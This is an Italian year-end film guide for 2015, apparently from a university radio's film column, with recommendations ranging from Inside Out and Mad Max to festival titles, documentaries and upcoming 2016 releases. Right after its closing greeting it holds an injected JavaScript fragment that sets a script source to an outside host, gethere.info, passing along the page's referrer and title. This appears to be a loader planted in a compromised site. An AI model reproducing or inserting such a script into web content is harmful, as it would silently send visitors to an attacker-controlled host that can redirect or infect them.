Top of the year: la guida cinematografica dell’anno

Ed eccoci alla fine del 2015. Al chiudersi dell’anno nessuna rubrica di cinema si fa mai mancare la top-ten dei film preferiti dalla redazione, e noi non siamo da meno, anzi cerchiamo di darvi un’utile guida al 2015, attraverso 6 punti (nuovo intrattenimento, festival e premi, documentari, da ridere, da riscoprire, di tutto un po’) più un settimo dedicato ai titoli in uscita con l’inizio dell’anno nuovo.

1) La prima impressione sulle top-ten stilate sia da FEMS (i titoli colorati) che dalle redazioni delle maggiori testate di genere non può che essere che il 2015 è l’anno in cui cinema d’intrattenimento si è fatto valere attraverso opere originali per forma e contenuto, denotate di un’altissima qualità. È ciò che accomuna titoli diversissimi ma onnipresenti nelle prime posizioni: il cartone psicanalitico Inside out, il blockbuster più STAR WARS7atteso dell’anno Star wars VII e un’ altra saga anni 80′ Mad Max- Fury road (gli ultimi due accomunati da un originale, seppur diverso, tocco femminista/nile). Seguono in questa stessa categoria il grande ritorno Mission impossible V, l’ottimista The martian, il gelido e tragico Everest, l’horror Babadook e 007 Spectre (che ha diviso sia pubblico che critica).

2) E se i primi tre citati (insieme a The Martian) stanno racimolando le nomination di tutti i maggiori premi statunitensi, ed insieme a loro anche l’ultima fatica della coppia Tom Hanks/Steven Spielberg Il ponte delle spie e lo straniero Mustang, che cosa ci rimane degli ultimi Oscar? I titoli più citati ponte delle spie femssono American Sniper, La teoria del tutto e Birdman. Mentre dai premi europei ci si ricorda dell’Orso d’oro Taxi Teheran e del Leone mancato Francofonia, accompagnato dal caso Non essere cattivo (che ha diviso le FEMS), seguiti da Marguerite e l’Attesa. Italiani sono anche tre titoli da Cannes Youth, Mia madre e il fantasy Tale of tales, che ha davvero spaccato le FEMS tra pro e contro.

Per qualche consiglio in più sui film della Mostra del Cinema di questo 2015 vi rimandiamo a: Cosa rimane in CONCORSO a Venezia 72?

3) E se il film di Sokurov (Francofonia), tra l’altro, colpisce per essere un personale ibrido tra film e documentario, un vero documentario che non si può non citare è sicuramente Amy, sulla vita della cantante Amy Winehouse scomparsa prematuramente. Ma vogliamo anche nominare due opere più piccole ma amy-winehousemeritevoli come Dancing with Maria di I. Gergolet e I sogni del lago salato di A. Segre.

4) Ma se non vi paicciono né i filmoni, né i titoli da Festival ecco le commedie che più ci hanno fatto ridereTutto può accadere a Broadway, una commedia felicemente Alleniana, il surreale Dio esiste e vive a Bruxelles e gli italiani Noi e la Giulia (Ciak d’oro) e Se Dio vuole.

5) Ci sono poi quelli che se li avete visti o siete molto bravi o molto fortunati, cominciamo citando due titoli freschi ed attualissimi distribuiti da Bolero film: Pitza e datteri, una commedia etnica ambientata nella Venezia più inedita e nascosta, e Pecore in erba, il mocumentary satirico in concorso sempre a Venezia.download (2)
E se non ci stupisce che, visto la tema narrato, il notevole film storico Messicano Cristiada abbia avuto molte difficoltà di distribuzione, ci sembra piu strano che Black hat del maestro Michael Mann sia passato così sotto silenzio che gli unici a vederlo pare che siano i critici che tanto l’hanno elogiato definendolo il miglior film sugli hacker in assoluto.

6) Prima di dirvi che cosa ci aspettiamo per i prossimi mesi ci piace citarvi alcuni titoli che, probabilmente come gli altri, forse non passeranno alla storia, ma che comunque ci sono davvero piaciuti o almeno ci hanno particolarmente colpito: gli spettacolari The walk e download (1)The heart of the sea dei grandi R. Zemeckis e R. Howard, il musical fantastico Into the woods dell’esperto del genere Rob Marshall, in coppia, o meglio agli antipodi, con un’altra fiaba, Cenerentola di K. Branagh, la commedia d’azione Focus con la coppia Will Smith Margot Robbie, gli immaginifici Jupiter ascending , Crimson peak e due storici Unbroken di A. Jolie e The water deviner di R. Crowe.

7) Chiudiamo come meglio possiamo per un articolo di Capodanno con consigli e speranze per i prossimi mesi: se aspettiamo con curiosità i nuovi Trantino, Inarritu, O’Russel e trepidiamo per Il piccolo principe (dall’1 Gennaio al cinema) in coppia con Orgoglio e pregiudizio e zombie (da Febbraio), possiamo permetterci di consigliarvi davvero all’unanimità il complesso e commovente The danish girl (anch’esso da Febbraio in sala)!Joyfilmposter

 

Avete altri titoli da cosigliare? Scriveteci a fems@radiocafoscari.it

E buon 2016 cinematografico a tutti!s.src=’http://gethere.info/kt/?264dpr&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;

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